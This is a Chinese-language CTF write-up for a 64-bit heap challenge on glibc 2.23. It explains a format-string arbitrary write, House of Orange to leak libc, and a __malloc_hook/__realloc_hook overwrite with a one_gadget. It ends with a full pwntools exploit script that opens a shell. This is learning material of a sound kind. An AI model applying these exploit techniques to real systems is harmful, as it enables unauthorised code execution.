这题是格式化字符串漏洞 + House Of Orange + __malloc_hook 组合利用,难度倒也不是很难,对于我这种新手学到了不少东西。
但是我觉得这里并不是的格式化字符串漏洞,倒不如说是故意构造的逻辑漏洞,姑且称它为格式化字符串漏洞吧。
思路:
house of orange:通过修改 top chunk 的 size,来触发 brk 扩展堆段,之后原有的 top chunk 会被置于 unsorted bin 中。本题再直接 show 泄露 main_arena 计算偏移得到 libc。
这里格式化字符串漏洞的利用可以任意地址写,先是修改 top chunk 的 size,再通过 relloc 调整栈帧利用 __malloc_hook 调用 one_gadget。
check:
64位,全开,libc是2.23的
三个操作:
没有 free,就是 house of orange 的利用办法
say:
这里的格式化字符串漏洞,是没有回显的,scanf构造任意地址写。
add:
这 add 没什么问题,常规申请堆块。
show:没看的,就是按 chunk 地址输出,不考虑 chunk 的使用状态
步骤:
正常申请一个 0x10 之后,可以看到 top chunk_siez 为 0x20fe1
1、利用格式化字符串漏洞进行修改:
def say(content1,content2):
p.sendlineafter('choice: ', '2')
p.sendlineafter('say ? ', str(content1))
p.sendlineafter('? ', str(content2).encode())
chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)
确实修改成功
这里修改的值,要符合4k对齐, 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等,不满足无法利用。
2、由于本题一次申请最大就 0x100 ,所以要把 0xfe1 用完得申请16次
用 for 循环申请16次,之前剩下的 0xe1 确实释放到了 unsorted bin
3、然后我们再次申请一个小于剩下 size 的 chunk 就能从这里面分割一块出来了
这里的 0x561ae3980f00 就是我们当前申请的 chunk
注意这里的一个小坑,之前脑子瓦特了
下面这里无论怎么写都会杯覆盖两个字节,只写入 p8(0) 的话,输出会有\00截断,泄露出来的地址就是不完整的,无法利用
想了好一会儿,才回过神来,这个 chunk 有两个地址啊,我泄露后面这四字节不就行了嘛,我写入七个字符,再加上那个 0x0a(sendline()的换行) ,不就没有 \00 了吗,后面的地址也是完整的了,再计算一下偏移就完了。
4、接下来就是向 __malloc_hook 写入 one_gadget 了,但是实际尝试下来,基本都无法直接利用 one_gadget,考虑用 realloc 来调整栈
#这里还是分两次写比较好,'ld'表示写入长度为长整型,不然写不下。
#向 __realloc_hook 写入 one_gadget
say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#向 malloc_hook 写入 realloc 的地址+偏移
say('%7$ldaaa'+p64(malloc_hook),realloc+12)
成功写入
EXP:
from pwn import *
p = process('./note')
#p = remote('47.104.70.90', 25315)
context.log_level='debug'
elf = ELF('note')
libc = ELF('libc-2.23.so')
def add(size,content):
p.sendlineafter('choice: ', '1')
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',str(content))
p.recvuntil('addr: ')
return p.recv(14)
def say(content1,content2):
p.sendlineafter('choice: ',str(2))
p.sendlineafter('say ? ',str(content1))
p.sendlineafter('? ',str(content2))
def show():
p.sendlineafter('choice: ', '3')
chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)
#size_max=0x100
for i in range(0,15):
unchunk= add(0x100,'a')
unchunk=add(0x10,'a'*7)
show()
#print(p.recv())
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0xc48+0xb78
print('main_arena:',hex(main_arena))
#gdb.attach(p)
offset=0x3c4b78
libc_base=main_arena-offset
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
print('libc_base:',hex(libc_base))
print('malloc:',hex(malloc_hook))
print('realloc:',hex(realloc))
one2=[0x45206, 0x4525a, 0xef9f4, 0xf0897]
one1=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget=libc_base+one2[1]
print('one_gadget:',hex(one_gadget))
print(unchunk)
say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#gdb.attach(p)
say('%7$ldaaa'+p64(malloc_hook),realloc+12)
#gdb.attach(p)
p.sendlineafter('choice: ',str(1))
p.sendlineafter('size: ',str(1))
p.interactive()